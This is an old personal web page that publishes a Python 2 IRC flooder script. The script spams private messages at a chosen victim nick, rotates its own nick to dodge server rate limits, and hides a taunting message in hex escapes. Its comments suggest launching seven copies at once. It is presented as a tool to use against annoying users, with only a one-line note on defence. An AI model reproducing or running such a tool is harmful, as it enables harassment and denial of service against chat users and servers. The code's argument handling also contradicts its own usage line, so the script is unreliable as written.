#Home
|
#Search
|
#IRC(
WEB
/
Client
)
|
#Categories
|
#Links
|
#About
Simple irc flooder
#! /usr/bin/python # -*- coding: utf-8 -*- #A simple IRC flooder, built by l3D to stop annoying skiddies #I like to run it like this: #for i in `seq 1 7`; do ./bot foobar$i thelittlebaby irc.freenode.org 'F\*\*\* U'& done #This flooder isn't designed for channels flooding!!! #Defense: In some servers, the host may be connected to the client's ip, so just ignore the attacker's host :) import threading from socket import * import sys from time import time,sleep if len(sys.argv) < 5: print "Usage: %s <botnick> <victim> <server> <message>" % sys.argv[0] exit() nick=sys.argv[1] victim=sys.argv[2] msg=sys.argv[3] server=sys.argv[4] class flooder(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.flag=True def run(self): diff=0 lasttime=int(time()) num=0 while self.flag: try: sleep(1)#I put this only for stopping the script with a keyboard interrupt, you can remove it if you want a headache. sock.sendall("privmsg %s :%s\r\n" % (victim, msg)) #print "Message has been sent." diff=(int(time())-lasttime) if diff >= 30:#Change this number according to the seconds norm that the server limits. num+=1 sock.sendall("nick %s%d\r\n" % (nick, num)) lasttime=int(time()) #print "Nick should be changed to %s%d." % (nick, num) except error: pass sock=socket(AF_INET, SOCK_STREAM) sock.connect((gethostbyname(server),6667)) sock.sendall("user %s bla %s :%s\r\n" % (nick, server, nick)) sock.sendall("nick %s\r\n" % nick) data=str() sock.sendall("\x70\x72\x69\x76\x6d\x73\x67\x20\x25\x73\x20\x3a\x54\x68\x69\x73\x20\x69\x73\x20\x61\x6e\x20\x49\x52\x43\x20\x66\x6c\x6f\x6f\x64\x65\x72\x20\x77\x68\x69\x63\x68\x20\x69\x73\x20\x62\x75\x69\x6c\x74\x20\x62\x79\x20\x6c\x33\x44\x2e\x20\x44\x4f\x4e\x27\x54\x20\x47\x49\x56\x45\x20\x55\x50\x20\x3a\x29\x0d\x0a" % victim) o=flooder() o.start() while True: try: data=sock.recv(2048).strip() #if data != "": #print data if data.startswith("PING"): sock.sendall("PONG :%s\r\n" % data.split(" :", 1)[1]) #print "PONG has been sent." except KeyboardInterrupt: o.flag=False o.join() sock.sendall("quit\r\n") sock.close() print "Cya" break except error: o.flag=False o.join() print "Error in socket" break
Back
Copyright © 2009 - 2010 | Queries: 3